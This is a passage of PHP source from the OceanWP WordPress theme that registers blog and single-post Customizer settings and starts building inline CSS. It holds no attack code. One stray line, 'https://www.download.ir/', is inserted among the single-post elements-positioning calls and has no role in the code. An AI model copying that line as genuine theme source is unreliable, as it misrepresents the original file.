'ocean_blog_infinite_scroll_spinners_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_infinite_scroll', ) ) ); /** * Infinite Scroll: Last Text */ $wp_customize->add_setting( 'ocean_blog_infinite_scroll_last_text', array( 'default' => esc_html__( 'End of content', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_infinite_scroll_last_text', array( 'label' => esc_html__( 'Infinite Scroll: Last Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_infinite_scroll_last_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_infinite_scroll', ) ) ); /** * Infinite Scroll: Error Text */ $wp_customize->add_setting( 'ocean_blog_infinite_scroll_error_text', array( 'default' => esc_html__( 'No more pages to load', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_infinite_scroll_error_text', array( 'label' => esc_html__( 'Infinite Scroll: Error Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_infinite_scroll_error_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_infinite_scroll', ) ) ); /** * Blog Entries Elements Positioning */ $wp_customize->add_setting( 'ocean_blog_entry_elements_positioning', array( 'default' => array( 'featured_image', 'title', 'meta', 'content', 'read_more' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'ocean_blog_entry_elements_positioning', array( 'label' => esc_html__( 'Elements Positioning', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_elements_positioning', 'priority' => 10, 'choices' => oceanwp_blog_entry_elements(), 'active_callback' => 'oceanwp_cac_hasnt_thumbnail_blog_style', ) ) ); /** * Blog Entries Meta */ $wp_customize->add_setting( 'ocean_blog_entry_meta', array( 'default' => apply_filters( 'ocean_blog_meta_default', array( 'author', 'date', 'categories', 'comments' ) ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'ocean_blog_entry_meta', array( 'label' => esc_html__( 'Meta', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_meta', 'priority' => 10, 'choices' => apply_filters( 'ocean_blog_meta_choices', array( 'author' => esc_html__( 'Author', 'oceanwp' ), 'date' => esc_html__( 'Date', 'oceanwp' ), 'categories' => esc_html__( 'Categories', 'oceanwp' ), 'comments' => esc_html__( 'Comments', 'oceanwp' ), 'mod-date' => esc_html__( 'Modified Date', 'oceanwp' ), 'reading-time' => esc_html__( 'Reading Time', 'oceanwp' ), ) ), 'active_callback' => 'oceanwp_cac_hasnt_thumbnail_blog_style', ) ) ); /** * Blog Entries Meta Separator * * @since 2.0 */ $wp_customize->add_setting( 'ocean_blog_meta_separator', array( 'transport' => 'postMessage', 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_meta_separator', array( 'label' => esc_html__( 'Meta Separator', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_meta_separator', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Default', 'oceanwp' ), 'modern' => esc_html__( 'Modern', 'oceanwp' ), 'stylish' => esc_html__( 'Stylish', 'oceanwp' ), 'none' => esc_html__( 'None', 'oceanwp' ), ), ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_single_post', array( 'title' => esc_html__( 'Single Post', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Single Layout */ $wp_customize->add_setting( 'ocean_blog_single_layout', array( 'default' => 'right-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_blog_single_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_blog_single_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_single_post_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_blog_single_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_single_post_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_blog_single_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_single_post_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_single_post_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_single_post_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_single_post_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_single_post_rl_layout', ) ) ); /** * Single Post Header Style * * @since 3.1.5 */ $wp_customize->add_setting( 'oceanwp_single_post_header_style', array( 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'oceanwp_single_post_header_style', array( 'label' => esc_html__( 'Post Title Style', 'oceanwp' ), 'description' => esc_html__( 'Post Page Title styles will not function properly with all Header styles. Please choose a Header for a Blog Post that will function best with your selected Post Page Title style.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'oceanwp_single_post_header_style', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Default', 'oceanwp' ), 'sph_style_2' => esc_html__( 'Intro', 'oceanwp' ), 'sph_style_3' => esc_html__( 'Cover', 'oceanwp' ), 'sph_style_4' => esc_html__( 'Card', 'oceanwp' ), 'sph_style_5' => esc_html__( 'Card Invert', 'oceanwp' ), 'sph_style_6' => esc_html__( 'Screen', 'oceanwp' ), 'sph_style_7' => esc_html__( 'Screen Invert', 'oceanwp' ), ), ) ) ); /** * Single post header Background Color */ $wp_customize->add_setting( 'oceanwp_single_post_header_background', array( 'transport' => 'postMessage', 'default' => '#e5e5e5', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'oceanwp_single_post_header_background', array( 'label' => esc_html__( 'Post Title Background Color', 'oceanwp' ), 'section' => 'ocean_single_post', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_not_cover_default_style', ) ) ); $wp_customize->add_setting( 'oceanwp_single_post_header_background_cover', array( 'transport' => 'postMessage', 'default' => '#000000b3', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'oceanwp_single_post_header_background_cover', array( 'label' => esc_html__( 'Post Title Overlay Color', 'oceanwp' ), 'section' => 'ocean_single_post', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_post_header_cover_style', ) ) ); /** * Single Post Header Meta Style * * @since 3.1.5 */ $wp_customize->add_setting( 'oceanwp_single_post_header_meta_style', array( 'default' => 'spm_style_2', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'oceanwp_single_post_header_meta_style', array( 'label' => esc_html__( 'Post Title Meta Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'oceanwp_single_post_header_meta_style', 'priority' => 10, 'choices' => array( 'spm_style_2' => esc_html__( 'Minimal', 'oceanwp' ), 'spm_style_3' => esc_html__( 'Stylish', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ) ) ); /** * Single Post Header Meta Style Separator * * @since 3.1.5 */ $wp_customize->add_setting( 'oceanwp_single_post_header_meta_separator', array( 'default' => 'stylish', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'oceanwp_single_post_header_meta_separator', array( 'label' => esc_html__( 'Post Title Meta Separator', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'oceanwp_single_post_header_meta_separator', 'priority' => 10, 'choices' => array( 'none' => esc_html__( 'None', 'oceanwp' ), 'classic' => esc_html__( 'Classic', 'oceanwp' ), 'stylish' => esc_html__( 'Stylish', 'oceanwp' ), 'modern' => esc_html__( 'Modern', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ) ) ); $wp_customize->add_setting( 'oceanwp_single_post_meta_icon_clr', array( 'transport' => 'postMessage', 'default' => '#000', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'oceanwp_single_post_meta_icon_clr', array( 'label' => esc_html__( 'Meta Icon Color', 'oceanwp' ), 'section' => 'ocean_single_post', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_post_meta_stylish', ) ) ); /** * Blog Single Header Meta */ $wp_customize->add_setting( 'oceanwp_blog_single_header_meta', array( 'default' => array( 'author', 'date', 'categories', 'comments', 'mod-date', 'reading-time', 'tags' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'oceanwp_blog_single_header_meta', array( 'label' => esc_html__( 'Post Title Meta', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'oceanwp_blog_single_header_meta', 'priority' => 10, 'choices' => apply_filters( 'ocean_blog_header_meta_choices', array( 'author' => esc_html__( 'Author', 'oceanwp' ), 'date' => esc_html__( 'Date', 'oceanwp' ), 'categories' => esc_html__( 'Categories', 'oceanwp' ), 'comments' => esc_html__( 'Comments', 'oceanwp' ), 'mod-date' => esc_html__( 'Modified Date', 'oceanwp' ), 'reading-time' => esc_html__( 'Reading Time', 'oceanwp' ), 'tags' => esc_html__( 'Tags', 'oceanwp' ), ) ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ) ) ); /** * Blog Single Title Heading Tag */ $wp_customize->add_setting( 'ocean_single_post_heading_tag', array( 'default' => 'h2', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_single_post_heading_tag', array( 'label' => esc_html__( 'Heading Tag', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_single_post_heading_tag', 'priority' => 10, 'choices' => array( 'h1' => esc_html__( 'H1', 'oceanwp' ), 'h2' => esc_html__( 'H2', 'oceanwp' ), 'h3' => esc_html__( 'H3', 'oceanwp' ), 'h4' => esc_html__( 'H4', 'oceanwp' ), 'h5' => esc_html__( 'H5', 'oceanwp' ), 'h6' => esc_html__( 'H6', 'oceanwp' ), 'div' => esc_html__( 'div', 'oceanwp' ), 'span' => esc_html__( 'span', 'oceanwp' ), 'p' => esc_html__( 'p', 'oceanwp' ), ), ) ) ); /** * Page Header Title */ $wp_customize->add_setting( 'ocean_blog_single_page_header_title', array( 'default' => 'blog', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_page_header_title', array( 'label' => esc_html__( 'Page Header Title', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_page_header_title', 'priority' => 10, 'choices' => array( 'blog' => esc_html__( 'Blog', 'oceanwp' ), 'post-title' => esc_html__( 'Post Title', 'oceanwp' ), ), ) ) ); /** * Add Featured Image In Page Header */ $wp_customize->add_setting( 'ocean_blog_single_featured_image_title', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_featured_image_title', array( 'label' => esc_html__( 'Featured Image In Page Header', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_featured_image_title', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_default_post_header_style', ) ) ); /** * Blog Single Title/Breadcrumb Position */ $wp_customize->add_setting( 'ocean_blog_single_title_breadcrumb_position', array( 'transport' => 'postMessage', 'default' => 'center', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_blog_single_title_breadcrumb_position', array( 'label' => esc_html__( 'Title/Breadcrumb Position', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_breadcrumb_position', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', ) ) ); /** * Blog Single Page Header Background Image Position */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_position', array( 'transport' => 'postMessage', 'default' => 'top center', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_title_bg_image_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_position', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'top left' => esc_html__( 'Top Left', 'oceanwp' ), 'top center' => esc_html__( 'Top Center', 'oceanwp' ), 'top right' => esc_html__( 'Top Right', 'oceanwp' ), 'center left' => esc_html__( 'Center Left', 'oceanwp' ), 'center center' => esc_html__( 'Center Center', 'oceanwp' ), 'center right' => esc_html__( 'Center Right', 'oceanwp' ), 'bottom left' => esc_html__( 'Bottom Left', 'oceanwp' ), 'bottom center' => esc_html__( 'Bottom Center', 'oceanwp' ), 'bottom right' => esc_html__( 'Bottom Right', 'oceanwp' ), ), ) ) ); /** * Blog Single Page Header Background Image Attachment */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_attachment', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_title_bg_image_attachment', array( 'label' => esc_html__( 'Attachment', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_attachment', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'scroll' => esc_html__( 'Scroll', 'oceanwp' ), 'fixed' => esc_html__( 'Fixed', 'oceanwp' ), ), ) ) ); /** * Blog Single Page Header Background Image Repeat */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_repeat', array( 'transport' => 'postMessage', 'default' => 'no-repeat', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_title_bg_image_repeat', array( 'label' => esc_html__( 'Repeat', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_repeat', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'no-repeat' => esc_html__( 'No-repeat', 'oceanwp' ), 'repeat' => esc_html__( 'Repeat', 'oceanwp' ), 'repeat-x' => esc_html__( 'Repeat-x', 'oceanwp' ), 'repeat-y' => esc_html__( 'Repeat-y', 'oceanwp' ), ), ) ) ); /** * Blog Single Page Header Background Image Size */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_size', array( 'transport' => 'postMessage', 'default' => 'cover', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_title_bg_image_size', array( 'label' => esc_html__( 'Size', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_size', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'auto' => esc_html__( 'Auto', 'oceanwp' ), 'cover' => esc_html__( 'Cover', 'oceanwp' ), 'contain' => esc_html__( 'Contain', 'oceanwp' ), ), ) ) ); /** * Blog Single Page Header Background Image Height */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_height', array( 'transport' => 'postMessage', 'default' => '400', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_single_title_bg_image_height', array( 'label' => esc_html__( 'Page Header Height (px)', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 800, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', ) ) ); /** * Blog Single Page Header Background Image Overlay Opacity */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_overlay_opacity', array( 'transport' => 'postMessage', 'default' => '0.5', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_single_title_bg_image_overlay_opacity', array( 'label' => esc_html__( 'Overlay Opacity', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_overlay_opacity', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 1, 'step' => 0.1, ), 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', ) ) ); /** * Blog Single Page Header Background Image Overlay Color */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_overlay_color', array( 'transport' => 'postMessage', 'default' => '#000000', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_single_title_bg_image_overlay_color', array( 'label' => esc_html__( 'Overlay Color', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_overlay_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', ) ) ); /** * Full Width Content Max Width */ $wp_customize->add_setting( 'ocean_blog_single_content_width', array( 'transport' => 'postMessage', 'default' => '700', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_content_width', array( 'label' => esc_html__( 'Full Width Content', 'oceanwp' ), 'description' => esc_html__( 'Enter the max width your the content with the full width layout. Add 0 to disable the max width.', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'step' => 1, ), ) ) ); /** * Blog Single Elements Positioning */ $wp_customize->add_setting( 'ocean_blog_single_elements_positioning', array( 'default' => array( 'featured_image', 'title', 'meta', 'content', 'tags', 'social_share', 'next_prev', 'author_box', 'related_posts', 'single_comments' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); https://www.download.ir/ $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'ocean_blog_single_elements_positioning', array( 'label' => esc_html__( 'Elements Positioning', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_elements_positioning', 'priority' => 10, 'choices' => oceanwp_blog_single_elements(), ) ) ); /** * Blog Single Meta */ $wp_customize->add_setting( 'ocean_blog_single_meta', array( 'default' => array( 'author', 'date', 'categories', 'comments' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'ocean_blog_single_meta', array( 'label' => esc_html__( 'Meta', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_meta', 'priority' => 10, 'choices' => apply_filters( 'ocean_blog_meta_choices', array( 'author' => esc_html__( 'Author', 'oceanwp' ), 'date' => esc_html__( 'Date', 'oceanwp' ), 'categories' => esc_html__( 'Categories', 'oceanwp' ), 'comments' => esc_html__( 'Comments', 'oceanwp' ), 'mod-date' => esc_html__( 'Modified Date', 'oceanwp' ), 'reading-time' => esc_html__( 'Reading Time', 'oceanwp' ), ) ), ) ) ); /** * Single Post Meta Separator * * @since 2.0 */ $wp_customize->add_setting( 'ocean_blog_single_meta_separator', array( 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_meta_separator', array( 'label' => esc_html__( 'Meta Separator', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_meta_separator', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Default', 'oceanwp' ), 'modern' => esc_html__( 'Modern', 'oceanwp' ), 'stylish' => esc_html__( 'Stylish', 'oceanwp' ), 'none' => esc_html__( 'None', 'oceanwp' ), ), ) ) ); /** * Next/Prev Taxonomy */ $wp_customize->add_setting( 'ocean_single_post_next_prev_taxonomy', array( 'default' => 'post_tag', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_single_post_next_prev_taxonomy', array( 'label' => esc_html__( 'Next/Prev Taxonomy', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_single_post_next_prev_taxonomy', 'priority' => 10, 'choices' => array( 'category' => esc_html__( 'Category', 'oceanwp' ), 'post_tag' => esc_html__( 'Tag', 'oceanwp' ), 'pub-date' => esc_html__( 'Date', 'oceanwp' ), ), ) ) ); /** * Related Posts Count */ $wp_customize->add_setting( 'ocean_blog_related_count', array( 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_related_count', array( 'label' => esc_html__( 'Related Posts Count', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_count', 'priority' => 10, 'input_attrs' => array( 'min' => 2, 'max' => 50, 'step' => 1, ), ) ) ); /** * Related Posts Columns */ $wp_customize->add_setting( 'ocean_blog_related_columns', array( 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_related_columns', array( 'label' => esc_html__( 'Related Posts Columns', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_columns', 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 6, 'step' => 1, ), ) ) ); /** * Related Posts Taxonomy */ $wp_customize->add_setting( 'ocean_blog_related_taxonomy', array( 'default' => 'category', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_blog_related_taxonomy', array( 'label' => esc_html__( 'Related Posts Taxonomy', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_taxonomy', 'priority' => 10, 'choices' => array( 'category' => esc_html__( 'Category', 'oceanwp' ), 'post_tag' => esc_html__( 'Tag', 'oceanwp' ), ), ) ) ); /** * Related Posts Image Width */ $wp_customize->add_setting( 'ocean_blog_related_img_width', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_related_img_width', array( 'label' => esc_html__( 'Related Posts Image Width (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_img_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 800, ), ) ) ); /** * Related Posts Image Height */ $wp_customize->add_setting( 'ocean_blog_related_img_height', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_related_img_height', array( 'label' => esc_html__( 'Related Posts Image Height (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_img_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 800, ), ) ) ); /** * Comment form position. * * @since 1.8.4 */ $wp_customize->add_setting( 'ocean_comment_form_position', array( 'default' => 'after', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_comment_form_position', array( 'label' => esc_html__( 'Comment Form Position', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_comment_form_position', 'priority' => 10, 'choices' => array( 'before' => esc_html__( 'Before', 'oceanwp' ), 'after' => esc_html__( 'After', 'oceanwp' ), ), ) ) ); } /** * Get CSS * * @param obj $output css output. * @since 1.0.0 */ public static function head_css( $output ) { // Layout. $entries_layout = get_theme_mod( 'ocean_blog_archives_layout', 'right-sidebar' ); $single_layout = get_theme_mod( 'ocean_blog_single_layout', 'right-sidebar' ); // Global vars. $bs_archives_content_width = get_theme_mod( 'ocean_blog_archives_both_sidebars_content_width' ); $bs_archives_sidebars_width = get_theme_mod( 'ocean_blog_archives_both_sidebars_sidebars_width' ); $bs_single_content_width = get_theme_mod( 'ocean_blog_single_both_sidebars_content_width' ); $bs_single_sidebars_width = get_theme_mod( 'ocean_blog_single_both_sidebars_sidebars_width' ); $thumbnail_category_color = get_theme_mod( 'ocean_blog_thumbnail_category_color', '#13aff0' ); $thumbnail_category_hover_color = get_theme_mod( 'ocean_blog_thumbnail_category_hover_color', '#333333' ); $thumbnail_comments_color = get_theme_mod( 'ocean_blog_thumbnail_comments_color', '#ababab' ); $thumbnail_comments_hover_color = get_theme_mod( 'ocean_blog_thumbnail_comments_hover_color', '#13aff0' ); $thumbnail_date_color = get_theme_mod( 'ocean_blog_thumbnail_date_color', '#ababab' ); $infinite_scroll_spinners_color = get_theme_mod( 'ocean_blog_infinite_scroll_spinners_color', '#333333' ); $title_breadcrumb_position = get_theme_mod( 'ocean_blog_single_title_breadcrumb_position', 'center' ); $single_content_width = get_theme_mod( 'ocean_blog_single_content_width', '700' ); $single_post_header_bg_color = get_theme_mod( 'oceanwp_single_post_header_background', '#e5e5e5' ); $single_post_cover_overlay_clr = get_theme_mod( 'oceanwp_single_post_header_background_cover', '#000000b3' ); $single_post_meta_icon_color = get_theme_mod( 'oceanwp_single_post_meta_icon_clr', '#000' ); // Define css var. $css = ''; // If blog archives Both Sidebars layout. if ( 'both-sidebars' === $entries_layout ) { // Both Sidebars layout blog archives content width. if ( ! empty( $bs_archives_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.blog.content-both-sidebars .content-area, body.archive.content-both-sidebars .content-area {width: ' . $bs_archives_content_width . '%;} body.blog.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.blog.content-both-sidebars.ssc-style .widget-area, body.archive.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.archive.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_archives_content_width . '%;} }'; } // Both Sidebars layout blog archives sidebars width. if ( ! empty( $bs_archives_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.blog.content-both-sidebars .widget-area, 